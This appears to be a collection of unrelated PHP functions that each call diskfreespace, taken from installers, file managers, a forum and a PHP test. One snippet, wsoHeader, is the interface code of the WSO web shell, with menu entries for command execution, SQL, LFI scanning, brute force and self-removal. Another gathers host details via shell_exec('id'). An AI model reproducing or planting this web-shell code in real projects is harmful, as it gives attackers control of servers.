function envCheck() { $this->CheckAdminPrivs('upgrade'); $dir_list=array("api","app","backup","cache","data","uploads","static","errorlog","include","modules","setting","templates","./",); foreach ($dir_list as $dir) { $path=ROOT_PATH.$dir; if(is_writable($path)==false)$this->Messager("{$path}目录不可写,请将其属性改成0777", null); } if(!function_exists("gzopen"))$this->Messager("您的服务器不支持gzopen函数,不能执行升级。", null); if(!function_exists("md5_file"))$this->Messager("您的服务器不支持md5_file函数,不能执行升级。", null); $_free_space_src = diskfreespace('.'); if (is_null($_free_space_src) || $_free_space_src <= 0) { $this->Messager('无法检查磁盘剩余空间!升级前请先确认剩余空间充足(大于10M)<br/><b>否则极有可能导致升级失败!</b><br/><br/>(继续升级请 <a href="admin.php?mod=upgrade_api&code=check">点击此处</a>)', null); } else { $_free_space = intval($_free_space_src / (1024 * 1024)); if ($_free_space < 10) { $this->Messager('磁盘剩余空间太小(不足10M),无法升级!', null); } } $this->Messager("正在检测...", "admin.php?mod=upgrade_api&code=check"); }
/** * @version $Id: footer.php 107 2008-07-22 17:27:12Z soeren $ * @package eXtplorer * @copyright soeren 2007 * @author The eXtplorer project (http://sourceforge.net/projects/extplorer) * @author The The QuiX project (http://quixplorer.sourceforge.net) * * @license * The contents of this file are subject to the Mozilla Public License * Version 1.1 (the "License"); you may not use this file except in * compliance with the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the * License for the specific language governing rights and limitations * under the License. * * Alternatively, the contents of this file may be used under the terms * of the GNU General Public License Version 2 or later (the "GPL"), in * which case the provisions of the GPL are applicable instead of * those above. If you wish to allow use of your version of this file only * under the terms of the GPL and not to allow others to use * your version of this file under the MPL, indicate your decision by * deleting the provisions above and replace them with the notice and * other provisions required by the GPL. If you do not delete * the provisions above, a recipient may use your version of this file * under either the MPL or the GPL." * * Shows the About Box! */ function show_about() { // footer for html-page echo "\n<div id=\"ext_footer\" style=\"text-align:center;\">\r\n\t<img src=\"" . _EXT_URL . "/images/MangosWeb_small.png\" align=\"middle\" alt=\"Mangosweb Enhanced Logo\" />\r\n\t<br />\r\n\t" . ext_Lang::msg('your_version') . ": <a href=\"" . $GLOBALS['ext_home'] . "\" target=\"_blank\">eXtplorer {$GLOBALS['ext_version']}</a>\r\n\t<br />\r\n (<a href=\"http://virtuemart.net/index2.php?option=com_versions&catid=5&myVersion=" . $GLOBALS['ext_version'] . "\" onclick=\"javascript:void window.open('http://virtuemart.net/index2.php?option=com_versions&catid=5&myVersion=" . $GLOBALS['ext_version'] . "', 'win2', 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=580,directories=no,location=no'); return false;\" title=\"" . $GLOBALS["messages"]["check_version"] . "\">" . $GLOBALS["messages"]["check_version"] . "</a>)\r\n\t\r\n\t"; if (function_exists("disk_free_space")) { $size = disk_free_space($GLOBALS['home_dir'] . $GLOBALS['separator']); $free = parse_file_size($size); } elseif (function_exists("diskfreespace")) { $size = diskfreespace($GLOBALS['home_dir'] . $GLOBALS['separator']); $free = parse_file_size($size); } else { $free = "?"; } echo '<br />' . $GLOBALS["messages"]["miscfree"] . ": " . $free . " \n"; if (extension_loaded("posix")) { $owner_info = '<br /><br />' . ext_Lang::msg('current_user') . ' '; if (ext_isFTPMode()) { $my_user_info = posix_getpwnam($_SESSION['ftp_login']); $my_group_info = posix_getgrgid($my_user_info['gid']); } else { $my_user_info = posix_getpwuid(posix_geteuid()); $my_group_info = posix_getgrgid(posix_getegid()); } $owner_info .= $my_user_info['name'] . ' (' . $my_user_info['uid'] . '), ' . $my_group_info['name'] . ' (' . $my_group_info['gid'] . ')'; echo $owner_info; } echo "\r\n\t</div>"; }
function wsoHeader() { if (empty($_POST['charset'])) { $_POST['charset'] = $GLOBALS['default_charset']; } global $color; echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title> \n<style> \nbody {background-color:#000;color:#fff;} \nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; } \nspan,h1,a{ color: {$color} !important; } \nspan{ font-weight: bolder; } \nh1{ border:1px solid {$color};padding: 2px 5px;font: 14pt Verdana;margin:0px; } \ndiv.content{ padding: 5px;margin-left:5px;} \na{ text-decoration:none; } \na:hover{ background:#ff0000; } \n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } \n.bigarea{ width:100%;height:250px; } \ninput, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid {$color}; font: 9pt Monospace,'Courier New'; } \nform{ margin:0px; } \n#toolsTbl{ text-align:center; } \n.toolsInp{ width: 80%; } \n.main th{text-align:left;} \n.main tr:hover{background-color:#5e5e5e;} \n.main td, th{vertical-align:middle;} \npre{font-family:Courier,Monospace;} \n#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);} \n</style> \n<script> \n var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; \n var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "'; \n var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "'; \n var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "'; \n var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "'; \n var d = document; \n function set(a,c,p1,p2,p3,charset) { \n if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; \n if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; \n if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; \n if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; \n if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; \n if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; \n } \n function g(a,c,p1,p2,p3,charset) { \n set(a,c,p1,p2,p3,charset); \n d.mf.submit(); \n } \n function a(a,c,p1,p2,p3,charset) { \n set(a,c,p1,p2,p3,charset); \n var params = 'ajax=true'; \n for(i=0;i<d.mf.elements.length;i++) \n params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); \n sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params); \n } \n function sr(url, params) { \n if (window.XMLHttpRequest) \n req = new XMLHttpRequest(); \n else if (window.ActiveXObject) \n req = new ActiveXObject('Microsoft.XMLHTTP'); \n if (req) { \n req.onreadystatechange = processReqChange; \n req.open('POST', url, true); \n req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); \n req.send(params); \n } \n } \n function processReqChange() { \n if( (req.readyState == 4) ) \n if(req.status == 200) { \n var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); \n var arr=reg.exec(req.responseText); \n eval(arr[2].substr(0, arr[1])); \n } else alert('Request error!'); \n } \n</script> \n<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'> \n<form method=post name=mf style='display:none;'> \n<input type=hidden name=a> \n<input type=hidden name=c> \n<input type=hidden name=p1> \n<input type=hidden name=p2> \n \n<input type=hidden name=p3> \n<input type=hidden name=charset> \n</form>"; $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace ? $totalSpace : 1; $release = @php_uname('r'); $kernel = @php_uname('s'); if (!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n = count($path); for ($i = 0; $i < $n - 1; $i++) { $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; for ($j = 0; $j <= $i; $j++) { $cwd_links .= $path[$j] . '/'; } $cwd_links .= "\")'>" . $path[$i] . "/</a>"; } $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); $opt_charsets = ''; foreach ($charsets as $item) { $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>'; } $m = array('Sec Info' => 'SecInfo', 'Files' => 'FilesMan', 'Exec' => 'Console', 'Sql' => 'Sql', 'PHP Tools' => 'phptools', 'LFI' => 'lfiscan', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'XSS Shell' => 'XSSShell', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network'); if (!empty($GLOBALS['auth_pass'])) { $m['Logout'] = 'Logout'; } $m['Self remove'] = 'SelfRemove'; $menu = ''; foreach ($m as $k => $v) { $menu .= '<th width="' . (int) (100 / count($m)) . '%">[<a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a>]</th>'; } $drives = ""; if ($GLOBALS['os'] == 'win') { foreach (range('c', 'z') as $drive) { if (is_dir($drive . ':\\')) { $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> '; } } } echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#00bb00><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; }
function confirm() { # check if folder exist if (!file_exists("../backup")) { return "<li> Back up folder doesn't exits."; } # check if folder is a folder if (!is_dir("../backup")) { return "<li>/<cubit>/backup is a file. Back up folder doesn't exits."; } $fspace = round(diskfreespace("../backup") / 1024 / 1024, 2); // Layout $confirm = "<center><h3>Save Backup</h3>\r\n <h4>Details</h4>\r\n\t\t<form action='" . SELF . "' method=post name=form>\r\n <input type=hidden name=key value=write>\r\n <table border=0 cellpadding='" . TMPL_tblCellPadding . "' cellspacing='" . TMPL_tblCellSpacing . "' width=300>\r\n\t\t\t<tr><th>Before you continue please note the following</th></tr>\r\n\t\t\t<tr class='bg-odd'><td><li> Make sure that the folder /<path tp cubit>/backup/ is owned by or can be written into by the user running you postgres(eg. wwwrun)</td></tr>\r\n\t\t\t<tr class='bg-odd'><td><li> Make sure that you have enough space left on the hard drive (+-100 MB recommanded)</td></tr>\r\n\t\t\t<tr><td><br></td></tr>\r\n\t\t\t<tr class='bg-odd'><td>Currently available space is : {$fspace} MB</td></tr>\r\n\t\t\t<tr><td><input type=submit value='Confirm »'></td></tr>\r\n\t\t</table>\r\n\t\t<br><br>\r\n <table border=0 cellpadding='" . TMPL_tblCellPadding . "' cellspacing='" . TMPL_tblCellSpacing . "' width=100>\r\n \t<tr><th>Quick Links</th></tr>\r\n\t\t\t<tr class='bg-even'><td><a href='main.php'>Main Menu</a></td></tr>\r\n </form>\r\n </table>"; return $confirm; }
public function Env() { $env = array(); $env['os'] = array('val' => PHP_OS, 'sp' => true); $env['phpv'] = array('val' => PHP_VERSION, 'sp' => (PHP_VERSION > '5')); $_up_allow = intval(@ini_get('file_uploads')); $_up_max_size = @ini_get('upload_max_filesize'); $env['upload'] = array('val' => ($_up_allow ? '允许/最大'.$_up_max_size : '不允许'), 'sp' => $_up_allow); if (function_exists('gd_info')) { $gdfunction = 'gd_info'; $gd = $gdfunction(); $gdv = $gd['GD Version']; } else { $gdv = '未知版本'; } $env['gd'] = array('val' => $gdv, 'sp' => true); $_free_space = intval(diskfreespace('.') / (1024 * 1024)); if ($_free_space > 0) { $env['space'] = array('val' => $_free_space.'MB', 'sp' => ($_free_space > 10)); } else { $env['space'] = array('val' => '未知空间大小', 'sp' => true); } $rwList = array( 'setting/', 'cache/', 'errorlog/', 'data/', 'uploads/', 'templates/widget/' ); $fcList = array( 'mysql_connect', 'msockopen', 'file_get_contents', 'file_put_contents' ); $dir = $this->DirPermission($rwList); $file = $this->FilePermission('setting/'); $permissions = array_merge($dir, $file); $function = $this->FunctionTest($fcList); include handler('template')->file('@inizd/install/env'); }
/** * 环境检查 */ function check_env(&$result) { $env_vars = array(); /// 检查操作系统 $env_vars['php_os'] = array('required' => __('No Limit'), 'best' => __('Unix-like'), 'curr' => PHP_OS, 'state' => true); /// 检查php版本 $env_vars['php_vers'] = array('required' => '5.3', 'best' => '5.3', 'curr' => PHP_VERSION); if ((int) $env_vars['php_vers']['required'] > (int) $env_vars['php_vers']['curr']) { $env_vars['php_vers']['state'] = false; $result = false; } else { $env_vars['php_vers']['state'] = true; } /// 检查上传附件大小 /* $env_vars['upload'] = array('required' => '1M', 'best' => '2M', 'curr' => ini_get('upload_max_filesize')); $u = substr($env_vars['upload']['curr'], -1, 1); $max_upload = $u == 'M' ? (int)$env_vars['upload']['curr'] : ($u == 'K' ? (int)$env_vars['upload']['curr'] / 1024 : (int)$env_vars['upload']['curr'] / (1024 * 1024)); if ((int)$env_vars['upload']['required'] > $max_upload) { $env_vars['upload']['state'] = false; $result = false; } else { $env_vars['upload']['state'] = true; } */ /// 检查gd库版本 if (dcrm_function_exists('gd_info')) { $gd_info = gd_info(); } else { $gd_info['GD Version'] = __('The GD module cannot be loaded'); } $env_vars['gd_vers'] = array('required' => __('No Limit'), 'best' => '2.0', 'curr' => $gd_info['GD Version']); $match = array(); preg_match('/\\d/', $env_vars['gd_vers']['curr'], $match); $gd_vers = $match[0]; $env_vars['gd_vers']['state'] = true; /// 检查可用磁盘空间 $env_vars['disk'] = array('required' => '10M', 'best' => __('No Limit'), 'curr' => floor(diskfreespace(ABSPATH) / (1024 * 1024)) . 'M'); if ((int) $env_vars['disk']['required'] > (int) $env_vars['disk']['curr']) { $env_vars['disk']['state'] = false; $result = false; } else { $env_vars['disk']['state'] = true; } return $env_vars; }
/** * getSysInfo */ public function getSysInfo() { $sysinfo = array(); $sysinfo['uname'] = php_uname(); $sysinfo['uptime'] = shell_exec('uptime'); $sysinfo['id'] = shell_exec('id'); $sysinfo['pwd'] = getcwd(); $sysinfo['server_software'] = getenv('SERVER_SOFTWARE'); $sysinfo['php'] = phpversion(); $sysinfo['name'] = $_SERVER['SERVER_NAME']; $sysinfo['ip_local'] = gethostbyname($_SERVER['SERVER_ADDR']); $sysinfo['ip_public'] = gethostbyname($sysinfo['name']); $sysinfo['free_bits'] = diskfreespace($sysinfo['pwd']); $sysinfo['free'] = $this->resize_bytes($sysinfo['free_bits']); $sysinfo['all_bits'] = disk_total_space($sysinfo['pwd']); $sysinfo['all'] = $this->resize_bytes($sysinfo['all_bits']); $sysinfo['used'] = $this->resize_bytes($sysinfo['all_bits'] - $sysinfo['free_bits']); $sysinfo['os'] = PHP_OS; return $sysinfo; }
<?php /* * Prototype: float disk_free_space( string directory ) * Description: Given a string containing a directory, this function * will return the number of bytes available on the corresponding * filesystem or disk partition */ $file_path = dirname(__FILE__); echo "*** Testing with existing directory ***\n"; var_dump(disk_free_space($file_path)); var_dump(diskfreespace($file_path)); echo "*** Testing with newly created directory ***\n"; $dir = "/disk_free_space"; mkdir($file_path . $dir); echo " \n Free Space before writing to a file\n"; $space1 = disk_free_space($file_path . $dir); var_dump($space1); $fh = fopen($file_path . $dir . "/disk_free_space.tmp", "a"); $data = str_repeat("x", 0xffff); fwrite($fh, (string) $data); fclose($fh); echo "\n Free Space after writing to a file\n"; $space2 = disk_free_space($file_path . $dir); var_dump($space2); if ($space1 > $space2) { echo "\n Free Space Value Is Correct\n"; } else { echo "\n Free Space Value Is Incorrect\n"; var_dump($space1, $space2); }
function output() { if (defined('DISCUZ_OUTPUTED')) { return; } define('DISCUZ_OUTPUTED', 1); global $sid, $transsidstatus, $rewritestatus, $ftp, $advlist, $insenz, $queryfloat, $thread, $inajax; if (($advlist || !empty($insenz['hardadstatus']) || $queryfloat) && !defined('IN_ADMINCP') && !(CURSCRIPT == 'viewthread' && $thread['digest'] == '-1') && !$inajax) { include template('adv'); } if (($transsidstatus = empty($GLOBALS['_DCOOKIE']['sid']) && $transsidstatus) || $rewritestatus) { if ($transsidstatus) { $searcharray = array("/\\<a(\\s*[^\\>]+\\s*)href\\=([\"|\\']?)([^\"\\'\\s]+)/ies", "/(\\<form.+?\\>)/is"); $replacearray = array("transsid('\\3','<a\\1href=\\2')", "\\1\n<input type=\"hidden\" name=\"sid\" value=\"{$sid}\" />"); } else { $searcharray = $replacearray = array(); if ($rewritestatus & 1) { $searcharray[] = "/\\<a href\\=\"forumdisplay\\.php\\?fid\\=(\\d+)(&page\\=(\\d+))?\"([^\\>]*)\\>/e"; $replacearray[] = "rewrite_forum('\\1', '\\3', '\\4')"; } if ($rewritestatus & 2) { $searcharray[] = "/\\<a href\\=\"viewthread\\.php\\?tid\\=(\\d+)(&extra\\=page\\%3D(\\d+))?(&page\\=(\\d+))?\"([^\\>]*)\\>/e"; $replacearray[] = "rewrite_thread('\\1', '\\5', '\\3', '\\6')"; } if ($rewritestatus & 4) { $searcharray[] = "/\\<a href\\=\"space\\.php\\?(uid\\=(\\d+)|username\\=([^&]+?))\"([^\\>]*)\\>/e"; $replacearray[] = "rewrite_space('\\2', '\\3', '\\4')"; } if ($rewritestatus & 8) { $searcharray[] = "/\\<a href\\=\"tag\\.php\\?name\\=([^&]+?)\"([^\\>]*)\\>/e"; $replacearray[] = "rewrite_tag('\\1', '\\2')"; } } $content = preg_replace($searcharray, $replacearray, ob_get_contents()); ob_end_clean(); $GLOBALS['gzipcompress'] ? ob_start('ob_gzhandler') : ob_start(); echo $content; } if ($ftp['connid']) { @ftp_close($ftp['connid']); } $ftp = array(); if (defined('CACHE_FILE') && CACHE_FILE && !defined('CACHE_FORBIDDEN')) { global $cachethreaddir; if (diskfreespace(DISCUZ_ROOT . './' . $cachethreaddir) > 1000000) { if ($fp = @fopen(CACHE_FILE, 'w')) { flock($fp, LOCK_EX); fwrite($fp, empty($content) ? ob_get_contents() : $content); } @fclose($fp); chmod(CACHE_FILE, 0777); } } }
function list_dir($dir) { // list directory contents global $dir_up, $mosConfig_live_site, $_VERSION; ?> <script type="text/javascript" src="<?php echo $mosConfig_live_site; ?> /includes/js/overlib_mini.js"></script> <div id="overDiv" style="position:absolute; visibility:hidden; z-index:10000;"></div> <?php $allow = ($GLOBALS["permissions"] & 01) == 01; $admin = ($GLOBALS["permissions"] & 04) == 04 || ($GLOBALS["permissions"] & 02) == 02; $dir_up = dirname($dir); if ($dir_up == ".") { $dir_up = ""; } if (!get_show_item($dir_up, basename($dir))) { show_error($dir . " : " . $GLOBALS["error_msg"]["accessdir"]); } // make file & dir tables, & get total filesize & number of items make_tables($dir, $dir_list, $file_list, $tot_file_size, $num_items); $dirs = explode("/", $dir); $implode = ""; $dir_links = "<a href=\"" . make_link("list", "", null) . "\">..</a>/"; foreach ($dirs as $directory) { if ($directory != "") { $implode .= $directory . "/"; $dir_links .= "<a href=\"" . make_link("list", $implode, null) . "\">{$directory}</a>/"; } } show_header($GLOBALS["messages"]["actdir"] . ": " . $dir_links); // Javascript functions: include _QUIXPLORER_PATH . "/include/javascript.php"; // Sorting of items $images = " <img width=\"10\" height=\"10\" border=\"0\" align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/"; if ($GLOBALS["srt"] == "yes") { $_srt = "no"; $images .= "_arrowup.gif\" alt=\"^\">"; } else { $_srt = "yes"; $images .= "_arrowdown.gif\" alt=\"v\">"; } // Toolbar echo "<br><table width=\"95%\"><tr><td><table><tr>\n"; // PARENT DIR echo "<td>"; if ($dir != "") { echo "<a href=\"" . make_link("list", $dir_up, NULL) . "\">"; echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_up.png\" "; echo "alt=\"" . $GLOBALS["messages"]["uplink"] . "\" title=\"" . $GLOBALS["messages"]["uplink"] . "\"></a>"; } echo "</td>\n"; // HOME DIR echo "<td><a href=\"" . make_link("list", NULL, NULL) . "\">"; echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_home.gif\" "; echo "alt=\"" . $GLOBALS["messages"]["homelink"] . "\" title=\"" . $GLOBALS["messages"]["homelink"] . "\"></a></td>\n"; // RELOAD echo "<td><a href=\"javascript:location.reload();\"><img border=\"0\" width=\"22\" height=\"22\" "; echo "align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_refresh.gif\" alt=\"" . $GLOBALS["messages"]["reloadlink"]; echo "\" title=\"" . $GLOBALS["messages"]["reloadlink"] . "\"></A></td>\n"; // SEARCH if (!jx_isFTPMode()) { echo "<td><a href=\"" . make_link("search", $dir, NULL) . "\">"; echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_search.gif\" "; echo "alt=\"" . $GLOBALS["messages"]["searchlink"] . "\" title=\"" . $GLOBALS["messages"]["searchlink"]; echo "\"></a></td>\n"; } echo "<td><img src=\"images/menu_divider.png\" height=\"22\" width=\"2\" border=\"0\" alt=\"|\" /></td>"; // Joomla Sysinfo echo "<td><a href=\"" . make_link("sysinfo", $dir, NULL) . "\">"; echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/systeminfo.gif\" "; echo "alt=\"" . $GLOBALS['messages']['mossysinfolink'] . "\" title=\"" . $GLOBALS['messages']['mossysinfolink'] . "\"></a></td>\n"; echo "<td><img src=\"images/menu_divider.png\" height=\"22\" width=\"2\" border=\"0\" alt=\"|\" /></td>"; if ($allow) { // COPY echo "<td><a href=\"javascript:Copy();\"><img border=\"0\" width=\"22\" height=\"22\" "; echo "align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_copy.gif\" alt=\"" . $GLOBALS["messages"]["copylink"]; echo "\" title=\"" . $GLOBALS["messages"]["copylink"] . "\"></a></td>\n"; // MOVE echo "<td><a href=\"javascript:Move();\"><img border=\"0\" width=\"22\" height=\"22\" "; echo "align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_move.gif\" alt=\"" . $GLOBALS["messages"]["movelink"]; echo "\" title=\"" . $GLOBALS["messages"]["movelink"] . "\"></A></td>\n"; // DELETE echo "<td><a href=\"javascript:Delete();\"><img border=\"0\" width=\"22\" height=\"22\" "; echo "align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_delete.gif\" alt=\"" . $GLOBALS["messages"]["dellink"]; echo "\" title=\"" . $GLOBALS["messages"]["dellink"] . "\"></A></td>\n"; // CHMOD echo "<td><a href=\"javascript:Chmod();\"><img border=\"0\" width=\"22\" height=\"22\" "; echo "align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_chmod.gif\" alt=\"chmod\" title=\"" . $GLOBALS['messages']['chmodlink'] . "\"></a></td>\n"; // UPLOAD if (ini_get("file_uploads")) { echo "<td><a href=\"" . make_link("upload", $dir, NULL) . "\">"; echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" "; echo "src=\"" . _QUIXPLORER_URL . "/images/_upload.gif\" alt=\"" . $GLOBALS["messages"]["uploadlink"]; echo "\" title=\"" . $GLOBALS["messages"]["uploadlink"] . "\"></A></td>\n"; } else { echo "<td><img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" "; echo "src=\"" . _QUIXPLORER_URL . "/images/_upload_.gif\" alt=\"" . $GLOBALS["messages"]["uploadlink"]; echo "\" title=\"" . $GLOBALS["messages"]["uploadlink"] . "\"></td>\n"; } // ARCHIVE if (($GLOBALS["zip"] || $GLOBALS["tar"] || $GLOBALS["tgz"]) && !jx_isFTPMode()) { echo "<td><a href=\"javascript:Archive();\"><img border=\"0\" width=\"22\" height=\"22\" "; echo "align=\"absmiddle\" src=\"" . _QUIXPLORER_URL . "/images/_archive.gif\" alt=\"" . $GLOBALS["messages"]["comprlink"]; echo "\" title=\"" . $GLOBALS["messages"]["comprlink"] . "\"></a></td>\n"; } } else { // COPY echo "<td><img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" "; echo "src=\"" . _QUIXPLORER_URL . "/images/_copy_.gif\" alt=\"" . $GLOBALS["messages"]["copylink"] . "\" title=\""; echo $GLOBALS["messages"]["copylink"] . "\"></td>\n"; // MOVE echo "<td><img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" "; echo "src=\"" . _QUIXPLORER_URL . "/images/_move_.gif\" alt=\"" . $GLOBALS["messages"]["movelink"] . "\" title=\""; echo $GLOBALS["messages"]["movelink"] . "\"></td>\n"; // DELETE echo "<td><img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" "; echo "src=\"" . _QUIXPLORER_URL . "/images/_delete_.gif\" alt=\"" . $GLOBALS["messages"]["dellink"] . "\" title=\""; echo $GLOBALS["messages"]["dellink"] . "\"></td>\n"; // UPLOAD echo "<td><img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" "; echo "src=\"" . _QUIXPLORER_URL . "/images/_upload_.gif\" alt=\"" . $GLOBALS["messages"]["uplink"]; echo "\" title=\"" . $GLOBALS["messages"]["uplink"] . "\"></td>\n"; } // ADMIN & LOGOUT if ($GLOBALS["require_login"]) { echo "<td>::</td>"; // ADMIN if ($admin) { echo "<td><a href=\"" . make_link("admin", $dir, NULL) . "\">"; echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" "; echo "src=\"" . _QUIXPLORER_URL . "/images/_admin.gif\" alt=\"" . $GLOBALS["messages"]["adminlink"] . "\" title=\""; echo $GLOBALS["messages"]["adminlink"] . "\"></A></td>\n"; } // LOGOUT echo "<td><a href=\"" . make_link("logout", NULL, NULL) . "\">"; echo "<img border=\"0\" width=\"22\" height=\"22\" align=\"absmiddle\" "; echo "src=\"" . _QUIXPLORER_URL . "/images/_logout.gif\" alt=\"" . $GLOBALS["messages"]["logoutlink"] . "\" title=\""; echo $GLOBALS["messages"]["logoutlink"] . "\"></a></td>\n"; } // Logo echo "<td style=\"padding-left:10px;\">"; //echo "<div style=\"margin-left:10px;float:right;\" width=\"305\" >"; echo "<a href=\"" . $GLOBALS['jx_home'] . "\" target=\"_blank\" title=\"joomlaXplorer Project\"><img border=\"0\" align=\"absmiddle\" id=\"jx_logo\" style=\"filter:alpha(opacity=10);-moz-opacity:.10;opacity:.10;\" onmouseover=\"opacity('jx_logo', 60, 99, 500);\" onmouseout=\"opacity('jx_logo', 100, 60, 500);\" "; echo "src=\"" . _QUIXPLORER_URL . "/images/logo.gif\" align=\"right\" alt=\"" . $GLOBALS['messages']['logolink'] . "\"></a>"; //echo "</div>"; echo "</td>\n"; echo "</tr></table></td>\n"; // Create File / Dir if ($allow && @$GLOBALS['jx_File']->is_writable(get_abs_dir($dir))) { echo "<td align=\"right\">\n\t\t\t\t<form action=\"" . make_link("mkitem", $dir, NULL) . "\" method=\"post\" name=\"mkitemform\">\n\n\t\t\t\t<table><tr><td>\n\t\t\t\t\t<select name=\"mktype\" onchange=\"checkMkitemForm(this.options[this.selectedIndex])\">\n\t\t\t\t\t\t<option value=\"file\">" . $GLOBALS["mimes"]["file"] . "</option>\n\t\t\t\t\t\t<option value=\"dir\">" . $GLOBALS["mimes"]["dir"] . "</option>"; if (!jx_isFTPMode() && !$GLOBALS['isWindows']) { echo "\t\t\t<option value=\"symlink\">" . $GLOBALS["mimes"]["symlink"] . "</option>\n"; } echo "\t\t</select>\n\t\t\t\t\t<input name=\"symlink_target\" type=\"hidden\" size=\"25\" title=\"{$GLOBALS['messages']['symlink_target']}\" value=\"{$GLOBALS['mosConfig_absolute_path']}\" />\n\t\t\t\t\t<input name=\"mkname\" type=\"text\" size=\"15\" title=\"{$GLOBALS['messages']['nameheader']}\" />\n\t\t\t\t\t<input type=\"submit\" value=\"" . $GLOBALS["messages"]["btncreate"] . "\" />\n\t\t\t\t\t</td></tr>\n\t\t\t\t\t<tr><td id=\"quick_jumpto\">" . list_bookmarks($dir) . "</td></tr>\n\t\t\t\t</table>\n\t\t\t\t<script 